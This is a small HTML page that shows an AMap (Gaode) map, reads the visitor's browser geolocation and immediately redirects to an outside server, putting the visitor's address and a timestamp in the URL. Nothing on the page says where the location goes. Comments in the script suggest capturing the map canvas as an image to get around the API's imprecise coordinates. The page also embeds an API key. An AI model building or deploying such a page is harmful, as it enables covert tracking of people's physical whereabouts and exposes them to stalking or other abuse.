<!doctype html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    #container {width:500px; height: 500px;opacity: 1;}
  </style>
</head>
<body>
<div id="place"></div>
<div id="container"></div>
<script type="text/javascript" src="https://webapi.amap.com/maps?v=1.4.15&key=4d197b15b917bdb836b8561096d65b59"></script>
<script>
  var mapObj = new AMap.Map('container', {
    zoom:17,//级别
    center: [116.397428, 39.90923],//中心点坐标
  });
  mapObj.plugin('AMap.Geolocation', function () {
    geolocation = new AMap.Geolocation();
    mapObj.addControl(geolocation);
    geolocation.getCurrentPosition();
    AMap.event.addListener(geolocation, 'complete', function (res) {
      console.log(res.formattedAddress);
      // 必须要https网站,否则浏览器会拦截
      // 发送位置信息到服务器(高德为了安全性,不返回精确的经纬度,可以把页面的第三个canvas元素保存
      // 为base64图片,然后发送到服务器)
      var url = 'http://cj15952119716.gz01.bdysite.com/wechat.php?methods=post&name=location&date='+(new Date().toLocaleString())+'&content='+res.formattedAddress;
      location = url
    });//返回定位信息
  });
</script>
</body>
</html>
